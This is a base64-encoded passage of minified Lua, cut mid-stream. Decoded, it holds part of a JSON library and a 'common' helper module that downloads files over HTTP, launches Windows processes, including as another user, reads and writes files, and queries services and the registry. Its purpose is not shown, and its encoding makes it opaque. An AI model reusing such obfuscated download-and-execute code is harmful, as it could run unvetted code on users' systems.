aWYgb349J1xcJ3RoZW4KdD10Li5vCmU9ZSsxCmVsc2VpZiBhOm1hdGNoKCdeXFxiJyxlKXRoZW4K
dD10Li4iXGIiCmU9ZSsyCmVsc2VpZiBhOm1hdGNoKCdeXFxmJyxlKXRoZW4KdD10Li4iXGYiCmU9
ZSsyCmVsc2VpZiBhOm1hdGNoKCdeXFxuJyxlKXRoZW4KdD10Li4iXG4iCmU9ZSsyCmVsc2VpZiBh
Om1hdGNoKCdeXFxyJyxlKXRoZW4KdD10Li4iXHIiCmU9ZSsyCmVsc2VpZiBhOm1hdGNoKCdeXFx0
JyxlKXRoZW4KdD10Li4iXHQiCmU9ZSsyCmVsc2UKbG9jYWwgbz1hOm1hdGNoKCdeXFx1KFswMTIz
NDU2Nzg5YUFiQmNDZERlRWZGXVswMTIzNDU2Nzg5YUFiQmNDZERlRWZGXVswMTIzNDU2Nzg5YUFi
QmNDZERlRWZGXVswMTIzNDU2Nzg5YUFiQmNDZERlRWZGXSknLGUpCmlmIG8gdGhlbgplPWUrNgps
b2NhbCBvPXRvbnVtYmVyKG8sMTYpCmlmIG8+PTU1Mjk2IGFuZCBvPD01NjMxOSB0aGVuCmxvY2Fs
IHQ9YTptYXRjaCgnXlxcdShbZERdW2NkZWZDREVGXVswMTIzNDU2Nzg5YUFiQmNDZERlRWZGXVsw
MTIzNDU2Nzg5YUFiQmNDZERlRWZGXSknLGUpCmlmIHQgdGhlbgplPWUrNgpvPTkyMTYrKG8tNTUy
OTYpKjEwMjQrdG9udW1iZXIodCwxNikKZWxzZQplbmQKZW5kCnQ9dC4ucihvKQplbHNlCnQ9dC4u
YTptYXRjaCgnXlxcKC4pJyxlKQplPWUrMgplbmQKZW5kCmVuZApuOm9uRGVjb2RlRXJyb3IoInVu
Y2xvc2VkIHN0cmluZyIsYSxpLHMpCmVuZApsb2NhbCBmdW5jdGlvbiBhKGUsdCkKbG9jYWwgYSxl
PWU6ZmluZCgiXlsgXG5cclx0XSsiLHQpCmlmIGUgdGhlbgpyZXR1cm4gZSsxCmVsc2UKcmV0dXJu
IHQKZW5kCmVuZApsb2NhbCBzCmxvY2FsIGZ1bmN0aW9uIHUobyx0LGksbikKaWYgbm90IHQ6c3Vi
KGksaSk9PSd7J3RoZW4KbzpvbkRlY29kZUVycm9yKCJleHBlY3RlZCAneyciLHQsaSxuKQplbmQK
bG9jYWwgZT1hKHQsaSsxKQpsb2NhbCBoPW8uc3RyaWN0VHlwZXMgYW5kIG86bmV3T2JqZWN0e31v
cnt9CmlmIHQ6c3ViKGUsZSk9PSd9J3RoZW4KcmV0dXJuIGgsZSsxCmVuZApsb2NhbCByPXQ6bGVu
KCkKd2hpbGUgZTw9ciBkbwpsb2NhbCByLGk9ZChvLHQsZSxuKQplPWEodCxpKQppZiB0OnN1Yihl
LGUpfj0nOid0aGVuCm86b25EZWNvZGVFcnJvcigiZXhwZWN0ZWQgY29sb24iLHQsZSxuKQplbmQK
ZT1hKHQsZSsxKQpsb2NhbCBpLHM9cyhvLHQsZSkKaFtyXT1pCmU9YSh0LHMpCmxvY2FsIGk9dDpz
dWIoZSxlKQppZiBpPT0nfSd0aGVuCnJldHVybiBoLGUrMQplbmQKaWYgdDpzdWIoZSxlKX49Jywn
dGhlbgpvOm9uRGVjb2RlRXJyb3IoImV4cGVjdGVkIGNvbW1hIG9yICd9JyIsdCxlLG4pCmVuZApl
PWEodCxlKzEpCmVuZApvOm9uRGVjb2RlRXJyb3IoInVuY2xvc2VkICd7JyIsdCxpLG4pCmVuZAps
b2NhbCBmdW5jdGlvbiBjKG8sdCxpLG4pCmlmIG5vdCB0OnN1YihpLGkpPT0nWyd0aGVuCm86b25E
ZWNvZGVFcnJvcigiZXhwZWN0ZWQgJ1snIix0LGksbikKZW5kCmxvY2FsIGU9YSh0LGkrMSkKbG9j
YWwgcj1vLnN0cmljdFR5cGVzIGFuZCBvOm5ld0FycmF5e31vcnt9CmlmIHQ6c3ViKGUsZSk9PSdd
J3RoZW4KcmV0dXJuIHIsZSsxCmVuZApsb2NhbCBoPTEKbG9jYWwgZD10OmxlbigpCndoaWxlIGU8
PWQgZG8KbG9jYWwgcyxpPXMobyx0LGUpCnJbaF09cwpoPWgrMQplPWEodCxpKQpsb2NhbCBpPXQ6
c3ViKGUsZSkKaWYgaT09J10ndGhlbgpyZXR1cm4gcixlKzEKZW5kCmlmIHQ6c3ViKGUsZSl+PScs
J3RoZW4KbzpvbkRlY29kZUVycm9yKCJleHBlY3RlZCBjb21tYSBvciAnWyciLHQsZSxuKQplbmQK
ZT1hKHQsZSsxKQplbmQKbzpvbkRlY29kZUVycm9yKCJ1bmNsb3NlZCAnWyciLHQsaSxuKQplbmQK
cz1mdW5jdGlvbihpLHQsZSxvKQplPWEodCxlKQppZiBlPnQ6bGVuKCl0aGVuCmk6b25EZWNvZGVF
cnJvcigidW5leHBlY3RlZCBlbmQgb2Ygc3RyaW5nIix0LG5pbCxvKQplbmQKaWYgdDpmaW5kKCde
IicsZSl0aGVuCnJldHVybiBkKGksdCxlLG8pCmVsc2VpZiB0OmZpbmQoJ15bLTAxMjM0NTY3ODkg
XScsZSl0aGVuCnJldHVybiBsKGksdCxlLG8pCmVsc2VpZiB0OmZpbmQoJ14leycsZSl0aGVuCnJl
dHVybiB1KGksdCxlLG8pCmVsc2VpZiB0OmZpbmQoJ14lWycsZSl0aGVuCnJldHVybiBjKGksdCxl
LG8pCmVsc2VpZiB0OmZpbmQoJ150cnVlJyxlKXRoZW4KcmV0dXJuIHRydWUsZSs0CmVsc2VpZiB0
OmZpbmQoJ15mYWxzZScsZSl0aGVuCnJldHVybiBmYWxzZSxlKzUKZWxzZWlmIHQ6ZmluZCgnXm51
bGwnLGUpdGhlbgpyZXR1cm4gbmlsLGUrNAplbHNlCmk6b25EZWNvZGVFcnJvcigiY2FuJ3QgcGFy
c2UgSlNPTiIsdCxlLG8pCmVuZAplbmQKZnVuY3Rpb24gdDpkZWNvZGUoZSxhKQppZiB0eXBlKHNl
bGYpfj0ndGFibGUnb3Igc2VsZi5fX2luZGV4fj10IHRoZW4KdDpvbkRlY29kZUVycm9yKCJKU09O
OmRlY29kZSBtdXN0IGJlIGNhbGxlZCBpbiBtZXRob2QgZm9ybWF0IixuaWwsbmlsLGEpCmVuZApp
ZiBlPT1uaWwgdGhlbgpzZWxmOm9uRGVjb2RlT2ZOaWxFcnJvcihzdHJpbmcuZm9ybWF0KCJuaWwg
cGFzc2VkIHRvIEpTT046ZGVjb2RlKCkiKSxuaWwsbmlsLGEpCmVsc2VpZiB0eXBlKGUpfj0nc3Ry
aW5nJ3RoZW4Kc2VsZjpvbkRlY29kZUVycm9yKHN0cmluZy5mb3JtYXQoImV4cGVjdGVkIHN0cmlu
ZyBhcmd1bWVudCB0byBKU09OOmRlY29kZSgpLCBnb3QgJXMiLHR5cGUoZSkpLG5pbCxuaWwsYSkK
ZW5kCmlmIGU6bWF0Y2goJ14lcyokJyl0aGVuCnJldHVybiBuaWwKZW5kCmlmIGU6bWF0Y2goJ14l
cyo8Jyl0aGVuCnNlbGY6b25EZWNvZGVPZkhUTUxFcnJvcihzdHJpbmcuZm9ybWF0KCJodG1sIHBh
c3NlZCB0byBKU09OOmRlY29kZSgpIiksZSxuaWwsYSkKZW5kCmlmIGU6c3ViKDEsMSk6Ynl0ZSgp
PT0wIG9yKGU6bGVuKCk+PTIgYW5kIGU6c3ViKDIsMik6Ynl0ZSgpPT0wKXRoZW4Kc2VsZjpvbkRl
Y29kZUVycm9yKCJKU09OIHBhY2thZ2UgZ3Jva3Mgb25seSBVVEYtOCwgc29ycnkiLGUsbmlsLGEp
CmVuZApsb2NhbCB0LGU9cGNhbGwocyxzZWxmLGUsMSxhKQppZiB0IHRoZW4KcmV0dXJuIGUKZWxz
ZQppZiBzZWxmLmFzc2VydCB0aGVuCnNlbGYuYXNzZXJ0KGZhbHNlLGUpCmVsc2UKYXNzZXJ0KGZh
bHNlLGUpCmVuZApyZXR1cm4gbmlsLGUKZW5kCmVuZApsb2NhbCBmdW5jdGlvbiBhKGUpCmlmIGU9
PSJcbiJ0aGVuCnJldHVybiJcXG4iCmVsc2VpZiBlPT0iXHIidGhlbgpyZXR1cm4iXFxyIgplbHNl
aWYgZT09Ilx0InRoZW4KcmV0dXJuIlxcdCIKZWxzZWlmIGU9PSJcYiJ0aGVuCnJldHVybiJcXGIi
CmVsc2VpZiBlPT0iXGYidGhlbgpyZXR1cm4iXFxmIgplbHNlaWYgZT09JyIndGhlbgpyZXR1cm4n
XFwiJwplbHNlaWYgZT09J1xcJ3RoZW4KcmV0dXJuJ1xcXFwnCmVsc2UKcmV0dXJuIHN0cmluZy5m
b3JtYXQoIlxcdSUwNHgiLGU6Ynl0ZSgpKQplbmQKZW5kCmxvY2FsIGUKPSdbJwouLiciJwouLicl
XFwnCi4uJyV6JwouLidcMDAxJy4uJy0nLi4nXDAzMScKLi4nXScKbG9jYWwgZnVuY3Rpb24gZCh0
KQpsb2NhbCBlPXQ6Z3N1YihlLGEpCnJldHVybiciJy4uZS4uJyInCmVuZApsb2NhbCBmdW5jdGlv
biByKG4sYSxzKQpsb2NhbCBvPXt9CmxvY2FsIHQ9e30KbG9jYWwgaD1mYWxzZQpsb2NhbCBpCmZv
ciBlIGluIHBhaXJzKGEpZG8KaWYgdHlwZShlKT09J3N0cmluZyd0aGVuCnRhYmxlLmluc2VydChv
LGUpCmVsc2VpZiB0eXBlKGUpPT0nbnVtYmVyJ3RoZW4KdGFibGUuaW5zZXJ0KHQsZSkKaWYgZTw9
MCBvciBlPj1tYXRoLmh1Z2UgdGhlbgpoPXRydWUKZWxzZWlmIG5vdCBpIG9yIGU+aSB0aGVuCmk9
ZQplbmQKZWxzZQpuOm9uRW5jb2RlRXJyb3IoImNhbid0IGVuY29kZSB0YWJsZSB3aXRoIGEga2V5
IG9mIHR5cGUgIi4udHlwZShlKSxzKQplbmQKZW5kCmlmI289PTAgYW5kIG5vdCBoIHRoZW4KaWYj
dD4wIHRoZW4KcmV0dXJuIG5pbCxpCmVsc2VpZiB0b3N0cmluZyhhKT09IkpTT04gYXJyYXkidGhl
bgpyZXR1cm4gbmlsCmVsc2VpZiB0b3N0cmluZyhhKT09IkpTT04gb2JqZWN0InRoZW4KcmV0dXJu
e30KZWxzZQpyZXR1cm4gbmlsCmVuZAplbmQKdGFibGUuc29ydChvKQpsb2NhbCBlCmlmI3Q+MCB0
aGVuCmlmIEpTT04ubm9LZXlDb252ZXJzaW9uIHRoZW4KbjpvbkVuY29kZUVycm9yKCJhIHRhYmxl
IHdpdGggYm90aCBudW1lcmljIGFuZCBzdHJpbmcga2V5cyBjb3VsZCBiZSBhbiBvYmplY3Qgb3Ig
YXJyYXk7IGFib3J0aW5nIixzKQplbmQKZT17fQpmb3IgdCxhIGluIHBhaXJzKGEpZG8KZVt0XT1h
CmVuZAp0YWJsZS5zb3J0KHQpCmZvciB0LGkgaW4gaXBhaXJzKHQpZG8KbG9jYWwgdD10b3N0cmlu
ZyhpKQppZiBlW3RdPT1uaWwgdGhlbgp0YWJsZS5pbnNlcnQobyx0KQplW3RdPWFbaV0KZWxzZQpu
Om9uRW5jb2RlRXJyb3IoImNvbmZsaWN0IGNvbnZlcnRpbmcgdGFibGUgd2l0aCBtaXhlZC10eXBl
IGtleXMgaW50byBhIEpTT04gb2JqZWN0OiBrZXkgIi4uaS4uIiBleGlzdHMgYm90aCBhcyBhIHN0
cmluZyBhbmQgYSBudW1iZXIuIixzKQplbmQKZW5kCmVuZApyZXR1cm4gbyxuaWwsZQplbmQKbG9j
YWwgYQpmdW5jdGlvbiBhKHQsZSxpLG8sbikKaWYgZT09bmlsIHRoZW4KcmV0dXJuJ251bGwnCmVs
c2VpZiB0eXBlKGUpPT0nc3RyaW5nJ3RoZW4KcmV0dXJuIGQoZSkKZWxzZWlmIHR5cGUoZSk9PSdu
dW1iZXIndGhlbgppZiBlfj1lIHRoZW4KcmV0dXJuIm51bGwiCmVsc2VpZiBlPj1tYXRoLmh1Z2Ug
dGhlbgpyZXR1cm4iMWUrOTk5OSIKZWxzZWlmIGU8PS1tYXRoLmh1Z2UgdGhlbgpyZXR1cm4iLTFl
Kzk5OTkiCmVsc2UKcmV0dXJuIHRvc3RyaW5nKGUpCmVuZAplbHNlaWYgdHlwZShlKT09J2Jvb2xl
YW4ndGhlbgpyZXR1cm4gdG9zdHJpbmcoZSkKZWxzZWlmIHR5cGUoZSl+PSd0YWJsZSd0aGVuCnQ6
b25FbmNvZGVFcnJvcigiY2FuJ3QgY29udmVydCAiLi50eXBlKGUpLi4iIHRvIEpTT04iLG8pCmVs
c2UKbG9jYWwgZT1lCmlmIGlbZV10aGVuCnQ6b25FbmNvZGVFcnJvcigidGFibGUgIi4udG9zdHJp
bmcoZSkuLiIgaXMgYSBjaGlsZCBvZiBpdHNlbGYiLG8pCmVsc2UKaVtlXT10cnVlCmVuZApsb2Nh
bCBzCmxvY2FsIGgscixkPXIodCxlLG8pCmlmIHIgdGhlbgpsb2NhbCBoPXt9CmZvciBzPTEsciBk
bwp0YWJsZS5pbnNlcnQoaCxhKHQsZVtzXSxpLG8sbikpCmVuZAppZiBuIHRoZW4Kcz0iWyAiLi50
YWJsZS5jb25jYXQoaCwiLCAiKS4uIiBdIgplbHNlCnM9IlsiLi50YWJsZS5jb25jYXQoaCwiLCIp
Li4iXSIKZW5kCmVsc2VpZiBoIHRoZW4KbG9jYWwgZD1kIG9yIGUKaWYgbiB0aGVuCmxvY2FsIHI9
e30KbG9jYWwgZT0wCmZvciBzLG4gaW4gaXBhaXJzKGgpZG8KbG9jYWwgdD1hKHQsdG9zdHJpbmco
biksaSxvLCIiKQplPW1hdGgubWF4KGUsI3QpCnRhYmxlLmluc2VydChyLHQpCmVuZApsb2NhbCB1
PW4uLiIgICAgIgpsb2NhbCBsPW4uLnN0cmluZy5yZXAoIiAiLGUrMis0KQpsb2NhbCBjPSIlcyUi
Li5zdHJpbmcuZm9ybWF0KCIlZCIsZSkuLiJzOiAlcyIKbG9jYWwgZT17fQpmb3IgaCxuIGluIGlw
YWlycyhoKWRvCmxvY2FsIHQ9YSh0LGRbbl0saSxvLGwpCnRhYmxlLmluc2VydChlLHN0cmluZy5m
b3JtYXQoYyx1LHJbaF0sdCkpCmVuZApzPSJ7XG4iLi50YWJsZS5jb25jYXQoZSwiLFxuIikuLiJc
biIuLm4uLiJ9IgplbHNlCmxvY2FsIHI9e30KZm9yIGgsZSBpbiBpcGFpcnMoaClkbwpsb2NhbCBz
PWEodCxkW2VdLGksbyxuKQpsb2NhbCBlPWEodCx0b3N0cmluZyhlKSxpLG8sbikKdGFibGUuaW5z
ZXJ0KHIsc3RyaW5nLmZvcm1hdCgiJXM6JXMiLGUscykpCmVuZApzPSJ7Ii4udGFibGUuY29uY2F0
KHIsIiwiKS4uIn0iCmVuZAplbHNlCnM9IltdIgplbmQKaVtlXT1mYWxzZQpyZXR1cm4gcwplbmQK
ZW5kCmZ1bmN0aW9uIHQ6ZW5jb2RlKG8sZSkKaWYgdHlwZShzZWxmKX49J3RhYmxlJ29yIHNlbGYu
X19pbmRleH49dCB0aGVuCnQ6b25FbmNvZGVFcnJvcigiSlNPTjplbmNvZGUgbXVzdCBiZSBjYWxs
ZWQgaW4gbWV0aG9kIGZvcm1hdCIsZSkKZW5kCnJldHVybiBhKHNlbGYsbyx7fSxlLG5pbCkKZW5k
CmZ1bmN0aW9uIHQ6ZW5jb2RlX3ByZXR0eShvLGUpCmlmIHR5cGUoc2VsZil+PSd0YWJsZSdvciBz
ZWxmLl9faW5kZXh+PXQgdGhlbgp0Om9uRW5jb2RlRXJyb3IoIkpTT046ZW5jb2RlX3ByZXR0eSBt
dXN0IGJlIGNhbGxlZCBpbiBtZXRob2QgZm9ybWF0IixlKQplbmQKcmV0dXJuIGEoc2VsZixvLHt9
LGUsIiIpCmVuZApmdW5jdGlvbiB0Ll9fdG9zdHJpbmcoKQpyZXR1cm4iSlNPTiBlbmNvZGUvZGVj
b2RlIHBhY2thZ2UiCmVuZAp0Ll9faW5kZXg9dApmdW5jdGlvbiB0Om5ldyhhKQpsb2NhbCBlPXt9
CmlmIGEgdGhlbgpmb3IgdCxhIGluIHBhaXJzKGEpZG8KZVt0XT1hCmVuZAplbmQKcmV0dXJuIHNl
dG1ldGF0YWJsZShlLHQpCmVuZApyZXR1cm4gdDpuZXcoKQplbmQpCnBhY2thZ2UucHJlbG9hZFsn
Y29tbW9uJ109KGZ1bmN0aW9uKC4uLikKbG9jYWwgcz1yZXF1aXJlKCJzb2NrZXQuaHR0cCIpOwps
b2NhbCByPXJlcXVpcmUoImx0bjEyIik7CmxvY2FsIHQ9e307CmxvY2FsIGQ9e19faW5kZXg9dH07
CmxvY2FsIGg9dHJ1ZTsKbG9jYWwgbj0iIjsKbG9jYWwgZT1vcy50aW1lKCk7CmxvY2FsIGU9Jyc7
CmxvY2FsIGU9Jyc7CmxvY2FsIGU9Jyc7CmxvY2FsIGk9e307CmZ1bmN0aW9uIHQuc2hhbGxvd2Nv
cHkodCkKbG9jYWwgYT10eXBlKHQpCmxvY2FsIGUKaWYgYT09J3RhYmxlJ3RoZW4KZT17fQpmb3Ig
dCxhIGluIHBhaXJzKHQpZG8KZVt0XT1hCmVuZAplbHNlCmU9dAplbmQKcmV0dXJuIGUKZW5kCmZ1
bmN0aW9uIHQuc2V0cmVzdWx0cyhlKQppPXQuc2hhbGxvd2NvcHkoZSk7CmVuZApwcm9ncmVzc19m
aWx0ZXI9ZnVuY3Rpb24oZSkKbG9jYWwgdD0wOwpyZXR1cm4gZnVuY3Rpb24oZSkKaWYgZT09bmls
IHRoZW4gcmV0dXJuIG5pbCBlbmQKaWYgZT09IiJ0aGVuIHJldHVybiIiZW5kCnQ9dCsjZTsKcmV0
dXJuIGU7CmVuZAplbmQKZnVuY3Rpb24gdC51cmxlbmNvZGUoZSkKaWYoZSl0aGVuCmU9c3RyaW5n
LmdzdWIoZSwiXG4iLCJcclxuIikKZT1zdHJpbmcuZ3N1YihlLCIoW14ldyAlLSVfJS4lfl0pIiwK
ZnVuY3Rpb24oZSlyZXR1cm4gc3RyaW5nLmZvcm1hdCgiJSUlMDJYIixzdHJpbmcuYnl0ZShlKSll
bmQpCmU9c3RyaW5nLmdzdWIoZSwiICIsIisiKQplbmQKcmV0dXJuIGUKZW5kCmZ1bmN0aW9uIGdl
dGh0dHBzaXplKGUpCmxvY2FsIGEsdCxlPXMucmVxdWVzdHttZXRob2Q9IkhFQUQiLHVybD1lfQpp
ZiB0PT0yMDAgdGhlbgpyZXR1cm4gdG9udW1iZXIoZVsiY29udGVudC1sZW5ndGgiXSk7CmVuZApl
bmQKZnVuY3Rpb24gdC5nZXRieWh0dHAobyx0KQpsb2NhbCBlPWZhbHNlOwpsb2NhbCBpPSIiOwpp
ZiB0IHRoZW4KbG9jYWwgYT10IGFuZCBpby5vcGVuKHQsIndiIilvciBvcy50bXBuYW1lKCk7Cmxv
Y2FsIGE9ci5zaW5rLmZpbGUoYSBvciBpby5zdGRvdXQpOwppZiB0IHRoZW4KYT1yLnNpbmsuY2hh
aW4ocHJvZ3Jlc3NfZmlsdGVyKGdldGh0dHBzaXplKG8pKSxhKTsKZT10cnVlOwplbmQKbG9jYWwg
dD0KewpbIkV4cGlyZXMiXT0iVGh1LCAxOSBOb3YgMTk4MSAwODo1MjowMCBHTVQiLApbIkNhY2hl
LUNvbnRyb2wiXT0ibm8tc3RvcmUsIG5vLWNhY2hlLCBtdXN0LXJldmFsaWRhdGUsIHBvc3QtY2hl
Y2s9MCwgcHJlLWNoZWNrPTAiCn07CmxvY2FsIGEsdCxhLGE9cy5yZXF1ZXN0CnsKdXJsPW8sCmhl
YWRlcnM9dCwKc2luaz1hCn07CmlmIHR+PTIwMCB0aGVuCmU9ZmFsc2U7CmVuZAplbHNlCmU9dHJ1
ZTsKaT1zLnJlcXVlc3Qobyk7CmVuZApyZXR1cm4gZSxpOwplbmQKZnVuY3Rpb24gdC5zcGxpdChh
LGUsdCkKaWYgc3RyaW5nLmZpbmQoYSxlKT09bmlsIHRoZW4KcmV0dXJue2F9CmVuZAppZiB0PT1u
aWwgb3IgdDwxIHRoZW4KdD0wCmVuZApsb2NhbCBvPXt9CmxvY2FsIG49IiguLSkiLi5lLi4iKCki
CmxvY2FsIGU9MApsb2NhbCBpCmZvciBuLGEgaW4gc3RyaW5nLmdmaW5kKGEsbilkbwplPWUrMQpv
W2VdPW4KaT1hCmlmIGU9PXQgdGhlbiBicmVhayBlbmQKZW5kCmlmIGV+PXQgdGhlbgpvW2UrMV09
c3RyaW5nLnN1YihhLGkpCmVuZApyZXR1cm4gbwplbmQKZnVuY3Rpb24gdC5leGVjdXRlKGEsbyxl
KQppZiBvfj1uaWwgdGhlbgppZiBlPT1uaWwgdGhlbgplPWZhbHNlOwplbmQKaWYgQ3JlYXRlUHJv
Y2Vzc0FzVXNlcihhLGUpdGhlbgplbmQKZWxzZQp0LmRlYnVnKCJFeGVjdXRpbmcgYXMgTG9jYWwg
U3lzdGVtIik7CmlmIENyZWF0ZVByb2Nlc3MobmlsLGEsbmlsLG5pbCwwLHczMlsiQ1JFQVRFX05F
V19DT05TT0xFIl0sbmlsLG5pbCl0aGVuCmVsc2UKZW5kCmVuZAppZiBHZXRMYXN0RXJyb3IoKT4w
IHRoZW4KdC5kZWJ1ZygiRXhlY3V0ZSBVbnN1Y2Nlc3NmdWwiKTsKdC5kZWJ1ZygiTEFTVCBFUlJP
UjogIi4uR2V0TGFzdEVycm9yKCkpOwplbHNlCnQuZGVidWcoIkV4ZWN1dGUgc3VjY2Vzc2Z1bCIp
OwplbmQKcmV0dXJuIHRydWU7CmVuZApmdW5jdGlvbiB0LmZpbGVwYXJ0cyhlKQpyZXR1cm4gc3Ry
aW5nLm1hdGNoKGUsIiguLSkoW15cXF0tKFteJS5dKykpJCIpOwplbmQKZnVuY3Rpb24gdC5yZWFk
ZmlsZShvKQpsb2NhbCBhOwppZiBDcmVhdGVGaWxlfj1uaWwgdGhlbgpsb2NhbCBlPUNyZWF0ZUZp
bGUobyx3MzJbIkdFTkVSSUNfUkVBRCJdLHczMlsiRklMRV9TSEFSRV9SRUFEIl0sbmlsLHczMlsi
T1BFTl9FWElTVElORyJdLHczMlsiRklMRV9BVFRSSUJVVEVfTk9STUFMIl0sbmlsKTsKaWYgZT09
LTEgb3IgZT09dzMyWyJJTlZBTElEX0hBTkRMRV9WQUxVRSJddGhlbgp0LmRlYnVnKHN0cmluZy5m
b3JtYXQoIlJlYWRmaWxlOiAlcyBFcnJvcjogJXMgKCVzKSIsbyxHZXRMYXN0RXJyb3IoKSxlKSk7
CmVsc2UKbG9jYWwgdD1HZXRGaWxlU2l6ZUV4KGUpOwppZiB0PjAgdGhlbgpoLGE9UmVhZEZpbGUo
ZSx0KTsKZW5kCmVuZAppZiBlIHRoZW4gQ2xvc2VIYW5kbGUoZSk7ZW5kCmVsc2UKbG9jYWwgZT1p
by5vcGVuKG8sInJiIik7CmlmIGUgdGhlbgphPWU6cmVhZCgiKmEiKQplOmNsb3NlKCkKZW5kCmVu
ZApyZXR1cm4gYTsKZW5kCmZ1bmN0aW9uIHQud3JpdGVmaWxlKG8saSxlKQpsb2NhbCBhPTA7Cmlm
IENyZWF0ZUZpbGUgdGhlbgpsb2NhbCBlPWUgb3IgdzMyWyJDUkVBVEVfTkVXIl07CmxvY2FsIGU9
Q3JlYXRlRmlsZShvLHczMlsiR0VORVJJQ19XUklURSJdLHczMlsiRklMRV9TSEFSRV9XUklURSJd
LG5pbCxlLHczMlsiRklMRV9BVFRSSUJVVEVfTk9STUFMIl0sbmlsKTsKaWYgZT09LTEgb3IgZT09
dzMyWyJJTlZBTElEX0hBTkRMRV9WQUxVRSJddGhlbgp0LmRlYnVnKHN0cmluZy5mb3JtYXQoIldy
aXRlZmlsZTogJXMgRXJyb3I6ICVzICglcykiLG8sR2V0TGFzdEVycm9yKCksZSkpOwplbHNlCmgs
YT1Xcml0ZUZpbGUoZSxpKTsKZW5kCmlmIGUgdGhlbiBDbG9zZUhhbmRsZShlKTtlbmQKZWxzZQps
b2NhbCBlPWlvLm9wZW4obywid2IiKQppZiBlIHRoZW4KZTp3cml0ZShpKQplOmNsb3NlKCkKYT0j
aTsKZW5kCmVuZApyZXR1cm4gYTsKZW5kCmZ1bmN0aW9uIHQucmFuZG9tKGUpCm1hdGgucmFuZG9t
c2VlZChvcy50aW1lKCkpOwpsb2NhbCB0PShlKWFuZCBlIG9yIDEKbG9jYWwgZT0iIjsKZm9yIHQ9
MSx0IGRvCmU9ZS4uc3RyaW5nLmNoYXIobWF0aC5yYW5kb20oOTcsMTIyKSk7CmVuZApyZXR1cm4g
ZTsKZW5kCmZ1bmN0aW9uIHQuZGVidWcoZSkKaWYgT3V0cHV0RGVidWdTdHJpbmcgdGhlbgpsb2Nh
bCB0PShDaGVja0FyZylhbmQgQ2hlY2tBcmcoIm9wdGlvbnMiKW9yIiI7CmlmIHQ6c3ViKDEsMSk9
PSIxInRoZW4KT3V0cHV0RGVidWdTdHJpbmcoc3RyaW5nLmZvcm1hdCgibHVhIGRiZzogJXNcbiIs
dG9zdHJpbmcoZSkpKTsKZW5kCmVsc2UKcHJpbnQoZSk7CmVuZAplbmQKZnVuY3Rpb24gdC50ZW1w
cGF0aCgpCmlmIEdldFRlbXBQYXRofj1uaWwgdGhlbgprLHY9R2V0VGVtcFBhdGgoKTsKcmV0dXJu
IHY7CmVuZApyZXR1cm4iIjsKZW5kCmZ1bmN0aW9uIHQucXVlcnlzZXJ2aWNlKGksYSkKbG9jYWwg
bz1PcGVuU0NNYW5hZ2VyKCk7CmxvY2FsIGU7CmlmIGE9PW5pbCB0aGVuIGE9NDtlbmQKaWYgbz4w
IHRoZW4KbG9jYWwgbz1PcGVuU2VydmljZShvLGkpOwppZiBvPjAgdGhlbgpsb2NhbCBkLGgscyxp
LG4scj1RdWVyeVNlcnZpY2VDb25maWcobyk7CmlmIG5vdCBkIHRoZW4KZT17aCxzLGksbixyfTsK
dC5kZWJ1ZygiUXVlcnlTZXJ2aWNlOiAiLi5lW2FdKTsKZW5kCkNsb3NlU2VydmljZUhhbmRsZShv
KTsKZW5kCmVuZAppZiB0eXBlKGUpPT0idGFibGUidGhlbgppZiBlW2FddGhlbgpyZXR1cm4gZVth
XTsKZW5kCmVuZApyZXR1cm4gbmlsOwplbmQKZnVuY3Rpb24gdC5jdXN0b21zKGEpCmxvY2FsIHM9
dHJ1ZTsKUFJPR1JBTV9GSUxFUz0oUmVnUXVlcnlWYWx1ZUV4KWFuZCBSZWdRdWVyeVZhbHVlRXgo
dzMyWyJIS0VZX0xPQ0FMX01BQ0hJTkUiXSwiU29mdHdhcmVcXE1pY3Jvc29mdFxcV2luZG93c1xc
Q3VycmVudFZlcnNpb24iLCJQcm9ncmFtRmlsZXNEaXIiKW9yIiI7CnNUbXBQYXRoPXQudGVtcHBh
dGgoKTsKbG9jYWwgZT1zdHJpbmcuZ3N1YihhLCJcXCIsIlxcXFwiKTsKbG9jYWwgbz0wOwp3aGls
ZSBzPT10cnVlIGFuZCBvPDUwIGRvCm89bysxOwppZiBzdHJpbmcuZmluZChhLCIkUFJPR1JBTUZJ
TEVTIil0aGVuCmU9c3RyaW5nLmdzdWIoZSwiJSRQUk9HUkFNRklMRVMiLCIlJXMiKTsKZT1zdHJp
bmcuZm9ybWF0KGUsUFJPR1JBTV9GSUxFUzpnc3ViKCJcXCIsIlxcXFwiKSk7CmVsc2VpZiBzdHJp
bmcuZmluZChhLCIkVEVNUEZJTEVTIil0aGVuCmU9c3RyaW5nLmdzdWIoZSwiJSRURU1QRklMRVMi
LCIlJXMiKTsKZT1zdHJpbmcuZm9ybWF0KGUsc1RtcFBhdGg6Z3N1YigiXFwiLCJcXFxcIikpOwpl
PWU6Z3N1YigiXFxcXFxcIiwiXFwiKTsKZWxzZWlmIHN0cmluZy5maW5kKGEsIiRTSUQiKXRoZW4K
bG9jYWwgdD1HZXRDdXJyZW50VXNlclNpZCgpOwplPXN0cmluZy5nc3ViKGUsIiUkU0lEIiwiJSVz
Iik7CmU9c3RyaW5nLmZvcm1hdChlLHQpOwplbHNlaWYgc3RyaW5nLmZpbmQoYSwiJFRJTUVMQVNU
Iil0aGVuCmlmIEdldFRpbWVMYXN0fj1uaWwgdGhlbgpsb2NhbCB0PUdldFRpbWVMYXN0KCk7CmU9
c3RyaW5nLmdzdWIoZSwiJSRUSU1FTEFTVCIsIiUlcyIpOwplPXN0cmluZy5mb3JtYXQoZSx0KTsK
ZW5kCmVsc2VpZiBzdHJpbmcuZmluZChhLCIkQ01EIil0aGVuCmxvY2FsIGE9c3RyaW5nLm1hdGNo
KGEsIkNNRCglZCspIik7CmlmIGF+PW5pbCB0aGVuCmxvY2FsIG49IiI7CmlmIHN0cmluZy5maW5k
KGEsIjoiKXRoZW4KbG9jYWwgYT10LnNwbGl0KGEsIjoiKTsKaWYgYVsxXX49bmlsIHRoZW4KbG9j
YWwgZT10LnNwbGl0KGlbYVsxXV0sIiAiKTsKbG9jYWwgbyxpPXN0cmluZy5maW5kKGFbMl0sIisi
KTsKaWYgbyB0aGVuCmFbMl09c3RyaW5nLmdzdWIoYVsyXSwiKyIsIiIpOwppZiB0eXBlKGUpPT0i
dGFibGUidGhlbgpmb3Igbz10YWJsZS5nZXRuKGUpLDEsLTEgZG8KaWYgbzx0b251bWJlcihhWzJd
KXRoZW4KdGFibGUucmVtb3ZlKGUsbyk7CmVsc2UKaWYgc3RyaW5nLmZpbmQoZVtvXSwiPSIpdGhl
